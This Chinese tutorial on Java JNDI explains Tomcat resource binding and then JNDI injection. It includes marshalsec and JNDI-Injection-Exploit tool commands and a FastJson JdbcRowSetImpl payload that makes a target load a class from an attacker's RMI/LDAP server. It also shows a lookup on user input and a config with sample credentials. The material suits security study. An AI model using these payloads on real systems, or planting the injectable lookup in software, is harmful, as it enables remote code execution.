先明确核心前提
JNDI 就像一个 “全公司通用的资源登记本”:
管理员把数据库连接、打印机、远程服务这些 “资源” 登记到本子上(绑定),给每个资源起个好记的名字(比如jdbc/ShopDB);
开发人员不用知道资源的具体地址 / 参数,只要报名字就能从本子上找到对应的资源(查找),直接用就行。
假设你开发一个电商网站,需要连接 MySQL 数据库,用 JNDI 管理的完整流程如下:
首先,管理员在 Tomcat 服务器的配置文件(context.xml)里,把数据库连接的所有参数(地址、账号、密码)配置成 JNDI 资源,相当于 “往登记本上填信息”:
<!-- Tomcat的context.xml配置示例 -->
<Resource
name="jdbc/ShopDB" <!-- 给资源起的名字(关键,后续靠这个找) -->
auth="Container" <!-- 由容器(Tomcat)管理 -->
type="javax.sql.DataSource" <!-- 资源类型:数据库连接池 -->
maxTotal="100" <!-- 连接池最大连接数 -->
maxIdle="30" <!-- 最大空闲连接数 -->
maxWaitMillis="10000" <!-- 获取连接的超时时间 -->
username="root" <!-- 数据库账号 -->
password="123456" <!-- 数据库密码 -->
driverClassName="com.mysql.cj.jdbc.Driver" <!-- 数据库驱动 -->
url="jdbc:mysql://localhost:3306/shop_db" <!-- 数据库地址 -->
/>这一步的核心:把 “数据库连接池” 这个对象,和名称jdbc/ShopDB绑定,存在 Tomcat 的 JNDI 服务里。
你写业务代码时,不用硬编码数据库账号、地址,只需要通过 JNDI 的lookup()方法,报出jdbc/ShopDB这个名字,就能拿到数据库连接池:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.sql.DataSource;
import java.sql.Connection;
public class OrderDAO {
// 获取数据库连接的方法
public Connection getDBConnection() throws Exception {
// 1. 创建JNDI的初始上下文(相当于“打开登记本”)
Context ctx = new InitialContext();// 2. 核心:通过名称查找资源(相当于“在登记本上查jdbc/ShopDB对应的资源”)
// java:comp/env/是JNDI的固定前缀,代表“当前应用的环境资源”
DataSource dataSource = (DataSource) ctx.lookup("java:comp/env/jdbc/ShopDB");// 3. 从连接池获取连接(拿到资源后直接用)
Connection conn = dataSource.getConnection();
return conn;
}
// 测试:查询订单数据
public void queryOrder() throws Exception {
Connection conn = getDBConnection();
// 后续执行SQL、查询数据...
System.out.println("成功获取数据库连接:" + conn);
conn.close();
}
public static void main(String[] args) throws Exception {
new OrderDAO().queryOrder();
}
}
你调用lookup("java:comp/env/jdbc/ShopDB")时,JNDI 其实做了这些事:
初始化上下文:InitialContext()会加载 Tomcat 的 JNDI 服务实现(SPI 层),相当于 “找到登记本的存放位置”;
解析名称:JNDI 去掉前缀java:comp/env/,只保留jdbc/ShopDB,去 Tomcat 的 JNDI 注册表中匹配名称;
返回资源对象:找到绑定的DataSource(数据库连接池)对象后,直接返回给你的代码;
资源复用:你拿到的连接是从连接池里取的,用完归还即可,不用每次都重新创建连接。
如果不用 JNDI,你需要在代码里硬编码所有数据库参数,比如:
// 不用JNDI的写法(弊端明显)
public Connection getDBConnection() throws Exception {
Class.forName("com.mysql.cj.jdbc.Driver");
// 硬编码地址、账号、密码,改一处就要改代码、重新部署
Connection conn = DriverManager.getConnection(
"jdbc:mysql://localhost:3306/shop_db",
"root",
"123456"
);
return conn;
}
一旦数据库地址从localhost改成192.168.1.100,或者密码修改,你必须改代码、重新编译、重新部署;而用 JNDI,只需要改 Tomcat 的context.xml配置,代码一行不用动。
如果上面的lookup()参数不是固定的jdbc/ShopDB,而是能被用户控制(比如从 URL 参数里取),就会触发 JNDI 注入:
// 危险代码:lookup参数来自用户输入(攻击者可篡改)
String userInput = request.getParameter("dbName"); // 攻击者传入:jndi:ldap://恶意服务器/恶意类
Context ctx = new InitialContext();
DataSource dataSource = (DataSource) ctx.lookup(userInput); // 触发注入
攻击者把userInput改成恶意的 LDAP/RMI 地址,JNDI 就会去连接攻击者的服务器,加载恶意类并执行代码 —— 这就是 JNDI 注入的核心,本质是 “把合法的资源查找,变成了恶意的远程代码加载”。
这个就很像log4j任意命令执行漏洞的成因,因为输出错误日志,将用户输出输出到控制台,导致命令执行
JNDI 的运行机制核心就是:先把资源和名称绑定到 JNDI 服务中,再通过统一的名称查找资源,全程屏蔽底层资源的实现细节;而 JNDI 注入则是利用 “查找参数可控” 的漏洞,让 JNDI 去加载恶意资源。
# JNDI远程调用 -- JNDI-Injection
## 1、使用远程调用 -- 即向远程恶意服务器进行请求 -- 具体代码如下:
## new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
## new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test")
## 2、 使用利用工具生成调用地址
## java -jar JNID-Injection-Exploit-1.0-SNAPPSHOT-all.jar -C "calc" -A xx.xx.xx.xx
# JNDI远程调用 -- marshalsec
/*
# JNDI远程调用-marshalsec
## 1、使用远程调用(默认端口1389)
## new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
## new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");
## 2、编译调用对象
## javac Test.java
## 3、使用利用工具生成调用协议(rmi,ldap)
## java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
## http://0.0.0.0/#Test
## java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
## http://0.0.0.0/#Test
## 注意:#Test不是完全任意命名,它需要和攻击者准备的恶意类的类名保持一致
## 4、将生成的Class存放访问路径(要存放在网站的根目录,保证可以被攻击目标访问到并下载)
1、背景:FastJson反序列化漏洞
# JavaEE 中接收用户提交的JSON 数据并进行转换
# "b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.200.131:9999/TouchFile",
"autoCommit":true
}
# 当输入类时,反序列化会创建该类的实例2、漏洞利用思路
// 漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性校验,攻击者可以
// 传入危险类,并使用lookup()方法调用该类远程连接恶意服务器执行恶意类,获取服务器敏感信息并进行下一步操作
// 利用JdbcRowSetImpl类中的InitialContext.lookup()方法进行JNDI注入
// 解释:JdbcRowSetImpl与lookup()的关联逻辑
// JdbcRowSetImpl是用于操作数据库行集的类,它支持通过 JNDI 查找数据源,内部流程是:
// 调用setDataSourceName(String name):设置要查找的 JNDI 数据源名称;
// 调用connect():尝试连接数据库时,会通过 JNDI 查找setDataSourceName传入的名称 ——这里会调用 InitialContext.lookup(name)。
//关键代码
public class JdbcRowSetImpl {
private String dataSourceName; // 存储JNDI数据源名称
// 设置JNDI数据源名称
public void setDataSourceName(String dataSourceName) {
this.dataSourceName = dataSourceName;
}
// 连接数据库时调用
private void connect() throws SQLException {
if (this.dataSourceName != null) {
try {
// 核心:调用lookup()查找数据源
InitialContext ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup(this.dataSourceName);
this.conn = ds.getConnection();
} catch (NamingException e) {
// 异常处理
}
}
}
}
3、实际操作
# 1、报错判断FastJson # 注意:这里请求包中的字符格式一定要是application/json 漏洞发生点在由JSON转为字符的过程中
# parse()方法

# 2、生成远程调用方法 -- 即生成远程调用地址# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx
# 3、提交JSON数据 Payload
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.200.131:9999/TouchFile",
"autoCommit":true
}
/*
JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
*/
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)